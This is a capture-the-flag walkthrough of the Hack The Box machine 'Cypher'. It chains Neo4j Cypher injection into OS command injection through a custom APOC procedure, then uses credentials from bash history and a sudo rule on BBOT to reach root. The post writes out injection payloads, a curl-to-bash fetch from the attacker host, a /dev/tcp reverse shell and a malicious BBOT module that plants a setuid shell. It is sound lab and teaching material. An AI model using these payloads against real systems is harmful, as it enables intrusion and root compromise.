All posts

HTB: Cypher — Neo4j Injection to Root via BBOT

Error-based Cypher injection in the login API chains into a custom APOC procedure with OS command injection for a shell as neo4j. Credentials in a bash history file pivot to graphasm, who holds a NOPASSWD sudo rule for the BBOT OSINT framework — a malicious Python module loaded at runtime closes out root.


MachineCypher
OSLinux
DifficultyMedium
User✓ Owned
Root✓ Owned

Enumeration

Nmap revealed two open ports: 22 (SSH) and 80 (HTTP). The web server returned a redirect to cypher.htb, so I added it to /etc/hosts before browsing further.

nmap -sV -sC -oN nmap/initial 10.10.11.57
# 22/tcp  open  ssh     OpenSSH 9.6
# 80/tcp  open  http    nginx 1.24.0

The site presented a login form backed by a Neo4j graph database. The login page was the obvious first target, but before diving into the form I ran directory fuzzing against the vhost:

ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt \
     -u http://cypher.htb/FUZZ -mc 200,301,302,403

A /testing directory came back as a 200 with directory listing enabled. Inside sat a single file: custom-apoc-extension-1.0-SNAPSHOT.jar. That name is significant — APOC (Awesome Procedures On Cypher) is Neo4j's standard plugin framework for extending Cypher with custom Java procedures. A custom extension here means custom Cypher procedures callable from any query the database executes.

Reverse Engineering the JAR

I decompiled the JAR with jadx-gui to inspect what procedures the extension registered:

jadx-gui custom-apoc-extension-1.0-SNAPSHOT.jar

The extension registered a single procedure: custom.getUrlStatusCode(String url). The implementation fetched the supplied URL and returned its HTTP status code — but the critical detail was in how it constructed the shell command. Rather than using a proper HTTP client library, the procedure was calling out to curl via Runtime.getRuntime().exec() with string concatenation:

// Decompiled Java (simplified)
@Procedure(name = "custom.getUrlStatusCode")
public Stream<Output> getUrlStatusCode(@Name("url") String url) {
    String cmd = "curl -s -o /dev/null -w '%{http_code}' " + url;
    Process proc = Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", cmd});
    // ...
}

Direct string concatenation into a shell command with no sanitisation — classic command injection. If I could call custom.getUrlStatusCode from a Cypher query with attacker-controlled input, I'd get OS command execution as the neo4j service user.

The question was how to reach it. The web app's login API was the only available Cypher-executing surface. That made the login form the injection point.

Cypher Injection in the Login API

Neo4j uses the Cypher query language — conceptually similar to SQL but for graph traversal. The login endpoint was almost certainly running a query resembling:

MATCH (u:User {username: '$username', password: '$password'})
RETURN u

I tested for injection by submitting a single quote in the username field. The server returned an error referencing the Neo4j parser — confirming the input was being interpolated directly into the query string rather than passed as a parameterised value.

Error-Based Extraction

The error messages were verbose enough to leak query results, enabling error-based injection similar to classic SQL injection techniques. I confirmed the injection type and then pivoted to calling the custom procedure:

# Payload injected into the username field:
' OR 1=1 CALL custom.getUrlStatusCode('http://10.10.14.X/$(id)') YIELD statusCode //

# URL-encoded in the login POST body:
username=%27+OR+1%3D1+CALL+custom.getUrlStatusCode%28%27http%3A%2F%2F10.10.14.X%2F%24%28id%29%27%29+YIELD+statusCode+%2F%2F&password=x

My HTTP listener received a request from the server with the path containing the output of id — confirming command execution as neo4j. I upgraded to a proper reverse shell:

# Payload: call getUrlStatusCode with a curl one-liner to a hosted shell script
' OR 1=1 CALL custom.getUrlStatusCode('http://10.10.14.X/shell.sh|bash') YIELD statusCode //

# shell.sh content:
bash -i >& /dev/tcp/10.10.14.X/4444 0>&1
nc -lvnp 4444
# Connection received — shell as neo4j

User Flag — Lateral Movement to graphasm

With a shell as neo4j, I began local enumeration. The user flag was in /home/graphasm/user.txt — I needed to pivot to that account first. I checked what was in neo4j's home directory and history files:

cat /var/lib/neo4j/.bash_history

The history file contained a command that had been run to test Neo4j authentication, including what appeared to be credentials for the graphasm user in plaintext:

# Excerpt from .bash_history
cypher-shell -u graphasm -p REDACTED@2025

Password reuse is endemic in CTF boxes — and in real environments. I tried the password over SSH:

ssh [email protected]
# Password: REDACTED@2025 — accepted
graphasm@cypher:~$ cat user.txt

Root — Privilege Escalation via BBOT

The first thing I checked after landing as graphasm was sudo rights:

sudo -l
# (root) NOPASSWD: /usr/local/bin/bbot

BBOT is an open-source OSINT and attack surface mapping framework written in Python. It's module-based — users can write and load custom Python modules. The ability to run BBOT as root without a password is a privilege escalation path if we can get BBOT to load a malicious module.

Writing a Malicious BBOT Module

BBOT modules are Python files that subclass BaseModule and implement a setup() or handle_event() method. BBOT can be pointed at a custom module directory with --custom-module-dir. Since the process runs as root, any Python executed inside the module runs as root.

# /tmp/pwn/evil_module.py
from bbot.modules.base import BaseModule
import os

class evil_module(BaseModule):
    watched_events = ["DNS_NAME"]
    produced_events = []
    flags = ["safe"]
    meta = {"description": "evil"}

    async def setup(self):
        os.system("cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash")
        return True
sudo /usr/local/bin/bbot \
  --custom-module-dir /tmp/pwn \
  -m evil_module \
  -t cypher.htb \
  --allow-deadly
/tmp/rootbash -p
# rootbash-5.2# id
# uid=1001(graphasm) gid=1001(graphasm) euid=0(root) egid=0(root)
cat /root/root.txt

Key Takeaways

Cypher is a satisfying chain because every step required genuine understanding of the technology rather than just pattern-matching to known exploit templates. The injection class is well-known from SQL injection, but the syntax differences in Cypher (especially around comment characters and procedure calls) meant this wasn't a copy-paste job.

The BBOT escalation is an excellent example of why broad sudo NOPASSWD rules on extensible frameworks are dangerous regardless of whether the binary itself is "safe" — any tool that loads user-controlled code at runtime effectively becomes a shell when run as a privileged user. The same pattern applies to Python interpreters, Ruby, Perl, plugin-capable tools like vim or less, and module-based frameworks. If a regular user can control what gets loaded, they control what runs as root.